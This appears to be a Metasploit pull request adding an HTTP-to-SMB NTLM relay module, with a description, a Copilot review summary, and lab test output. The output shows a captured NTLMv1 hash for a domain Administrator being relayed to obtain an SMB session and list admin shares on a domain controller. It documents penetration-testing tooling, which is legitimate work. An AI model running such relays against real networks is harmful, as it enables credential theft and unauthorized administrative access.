HTTP to SMB Relay Server

[jheysel-r7]

Description

This adds an HTTP to SMB Relay server module. This allows users to relay an incoming NTLM HTTP authentication request to multiple SMB servers in order to establish SMB session on the target hosts to be used by the framework.

It simply wires up the existing HTTP relay server (Msf::Exploit::Remote::HttpServer::Relay) with existing NTLM relay SMB client (Msf::Exploit::Remote::Relay::NTLM::Target::SMB::Client).

Breaking Changes

None

Reviewer Notes

NTLMv1 is permanently disabled on Windows 11 so be sure to send the auth request from Windows 10 / a client that supports NTLMv1 or message me for details on my shared lab environment.

Test Evidence

msf auxiliary(server/relay/http_to_smb) >
[*] Using URL: http://172.16.199.1/awauMU5svmJhX
[*] Server started.
[*] Received GET request for /test from 10.5.134.194:56167
[*] Processing request in state unauthenticated from 10.5.134.194
[*] Received GET request for /test from 10.5.134.194:56168
[*] Processing request in state unauthenticated from 10.5.134.194
[*] Received Type 1 message from 10.5.134.194, attempting to relay...
[*] Attempting to relay to 10.5.134.192:445
[*] Received type2 from target smb://10.5.134.192:445, attempting to relay back to client
[*] Received GET request for /test from 10.5.134.194:56168
[*] Processing request in state awaiting_type3 from 10.5.134.194
[*] Received Type 3 message from 10.5.134.194, attempting to relay...
[HTTP] NTLMv1-SSP Client     : 10.5.134.192
[HTTP] NTLMv1-SSP Username   : WHISTLER\Administrator
[HTTP] NTLMv1-SSP Hash       : Administrator::WHISTLER:ddfa5f067ea4a6d500000000000000000000000000000000:e2b905236443a461a0d18c8d0b636541e0590c2f7a8b2e70:927e83c8861e1ed4

[+] Identity: WHISTLER\Administrator - Successfully relayed NTLM authentication to SMB!
[+] Relay succeeded
[*] SMB session 9 opened (192.168.3.8:52959 -> 10.5.134.192:445) at 2026-06-29 12:44:07 -0700
[*] Target list exhausted for 10.5.134.194. Closing connection.

msf auxiliary(server/relay/http_to_smb) > sessions -i -1
[*] Starting interaction with 9...

SMB (10.5.134.192) > shares
Shares
======

    #  Name      Type          comment
    -  ----      ----          -------
    0  ADMIN$    DISK|SPECIAL  Remote Admin
    1  C$        DISK|SPECIAL  Default share
    2  IPC$      IPC|SPECIAL   Remote IPC
    3  NETLOGON  DISK          Logon server share
    4  SYSVOL    DISK          Logon server share

SMB (10.5.134.192) >

Environment

Field	Details
Operating System	macOS 26.5.1
Target Software/Hardware	Windows 10 relayed to Windows 2019 Domain Controller

AI Usage Disclosure

kiro-cli

Pre-Submission Checklist

• Included a corresponding documentation markdown file in documentation/modules (new modules only)
• No sensitive information (IP addresses, credentials, API keys, hashes) in code or documentation
  • Docs contain these pieces of info but I would not consider them sensitive
• Tested on the target environment specified in the Environment section above
• Included RSpec tests for library changes (encouraged for lib/ changes)

[Copilot]

Pull request overview

Adds a new auxiliary relay server module that accepts incoming NTLM HTTP auth and relays it to SMB targets to establish SMB sessions, by wiring the existing HTTP relay server to the existing SMB NTLM relay client.

Changes:

• Add auxiliary/server/relay/http_to_smb module to create SMB sessions via HTTP→SMB NTLM relay.
• Extend the HTTP relay NTLM server client to support :smb relay targets (in addition to LDAP).
• Add documentation for setup/usage and example scenarios.

Impact Analysis:

• Blast radius: medium — affects any modules using Msf::Exploit::Remote::HttpServer::Relay / HttpServer::Relay::NTLM::ServerClient, plus new auxiliary/server/relay/http_to_smb users.
• Data and contract effects: low — no schema changes; does add a new supported relay protocol path (:smb) and changes log output formatting.
• Rollback and test focus: rollback is straightforward (revert new module + SMB branch); focus testing on successful relay flow (Type1/Type2/Type3) and session creation, plus failure paths and multi-target redirect behavior.

Reviewed changes

Copilot reviewed 3 out of 3 changed files in this pull request and generated 4 comments.

File	Description
modules/auxiliary/server/relay/http_to_smb.rb	New HTTP→SMB relay auxiliary module that creates SMB sessions on successful relay.
lib/msf/core/exploit/remote/http_server/relay/ntlm/server_client.rb	Adds SMB relay client creation and generalizes protocol-specific success/failure messages.
documentation/modules/auxiliary/server/relay/http_to_smb.md	New usage documentation and scenarios for the HTTP→SMB relay module.